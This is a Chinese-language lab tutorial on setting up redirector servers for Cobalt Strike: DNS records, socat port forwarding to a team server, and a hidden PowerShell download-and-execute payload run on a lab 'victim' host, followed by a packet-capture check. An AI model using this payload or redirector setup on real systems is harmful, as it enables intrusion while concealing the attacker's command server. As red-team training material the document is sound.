CobaltStrike重定向服务
重定向服务的概念
"重定向"是一个在CS服务器与目标主机进行网络传输之间的服务器, 不仅能保护CS服务器, 还能增强与目标网络传输的稳定性, 例如某一台重定向服务器倒塌了, 但是CS服务器还是能通过其他重定向服务器与目标网络进行信息传输
环境拓扑
域名: team.com
Dns服务器: 192.168.47.137
CS团队服务器: 192.168.47.134(cs.team.com)
重定向服务器1: 192.168.47.131(proxy1.team.com)
重定向服务器2: 192.168.47.140(proxy2.team.com)
目标主机: 192.168.47.141

环境搭建
1.在域控为CS服务器及代理服务器配置域名
在域控服务器打开DNS管理器

在DNS的正向查找区域新建一个区域, 名为team.com, 即相当于申请一个顶级域名

为新建的区域增添A记录, 如下图所示步骤依次添加CS服务器及代理服务器
CS服务器: 别名为
CS, ip地址为192.168.47.134代理服务器1: 别名为
proxy1, ip地址为192.168.47.131代理服务器2: 别名为
proxy2, ip地址为192.168.47.140

2.将代理服务器80端口的数据转发到CS服务器80端口上
使用socat命令进行端口转发, 若没有此命令需先使用apt-get install -y socat命令进行安装, socat命令使用语法如下:
socat TCP4-LISTEN:80,fork TCP4:[server ip]:80将本机80端口监听到的数据转发到server服务器上的80端口
在两台代理服务器(ubuntu0和ubuntu1)上输入: socat TCP4-LISTEN:80,fork TCP4:192.168.47.134:80

攻击步骤
1.在CS客户端创建监听并生成攻击payload
在域内windows7主机登录CS客户端

新建http监听80端口, 将代理的服务器域名填写至HTTP Hosts

生成Power Shell远程执行代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"

浏览器访问http://proxy1.team.com:80/a和http://proxy2.team.com:80/a, 查看是否有返回结果, 若有则表示攻击payload配置成功

通过查看web日志可以查询到访问域名者的详细信息

2.受害机执行PowerShell恶意代码
在受害机执行powershell恶意代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"后, 受害机在CS客户端界面显示上线

受害机抓包分析
使用Wireshark抓取HTTP数据包进行分析, 受害机的ip地址为192.168.47.141, 它向192.168.47.140(proxy2.team.com)发http数据包, 随后192.168.47.140向192.168.47.134(cs.team.com)发http数据包, 除此之外受害机还向192.168.47.131(proxy1.team.com)发了http数据包

最后更新于